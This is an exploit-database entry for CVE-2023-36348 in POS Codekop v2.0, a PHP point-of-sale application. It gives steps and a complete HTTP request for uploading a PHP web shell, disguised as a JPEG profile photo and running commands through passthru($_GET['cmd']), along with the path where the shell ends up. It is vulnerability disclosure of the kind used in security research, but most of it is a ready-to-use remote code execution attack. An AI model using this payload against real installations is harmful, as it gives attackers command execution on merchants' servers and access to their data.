POS Codekop v2.0 – Authenticated Remote Code Execution (RCE)

  • 作者: yuyudhn
    日期: 2023-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51551/
  • # Exploit Title: POS Codekop v2.0 - Authenticated Remote Code Execution (RCE)
    # Date: 25-05-2023
    # Exploit Author: yuyudhn
    # Vendor Homepage: https://www.codekop.com/
    # Software Link: https://github.com/fauzan1892/pos-kasir-php
    # Version: 2.0
    # Tested on: Linux
    # CVE: CVE-2023-36348
    # Vulnerability description: The application does not sanitize the filename
    parameter when sending data to /fungsi/edit/edit.php?gambar=user. An
    attacker can exploit this issue by uploading a PHP file and accessing it,
    leading to Remote Code Execution.
    # Reference: https://yuyudhn.github.io/pos-codekop-vulnerability/
    
    # Proof of Concept:
    1. Login to POS Codekop dashboard.
    2. Go to profile settings.
    3. Upload PHP script through Upload Profile Photo.
    
    Burp Log Example:
    ```
    POST /research/pos-kasir-php/fungsi/edit/edit.php?gambar=user HTTP/1.1
    Host: localhost
    Content-Length: 8934
    Cache-Control: max-age=0
    sec-ch-ua:
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: ""
    **Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: multipart/form-data;
    boundary=----WebKitFormBoundarymVBHqH4m6KgKBnpa
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-User: ?1**
    Sec-Fetch-Dest: document
    Referer: http://localhost/research/pos-kasir-php/index.php?page=user
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: PHPSESSID=vqlfiarme77n1r4o8eh2kglfhv
    Connection: close
    
    ------WebKitFormBoundarymVBHqH4m6KgKBnpa
    Content-Disposition: form-data; name="foto"; filename="asuka-rce.php"
    Content-Type: image/jpeg
    
    ÿØÿà JFIF HHÿþ6<?php passthru($_GET['cmd']); __halt_compiler(); ?>
    ÿÛC
    
    -----------------------------
    ```
    PHP Web Shell location:
    http://localhost/research/pos-kasir-php/assets/img/user/[random_number]asuka-rce.php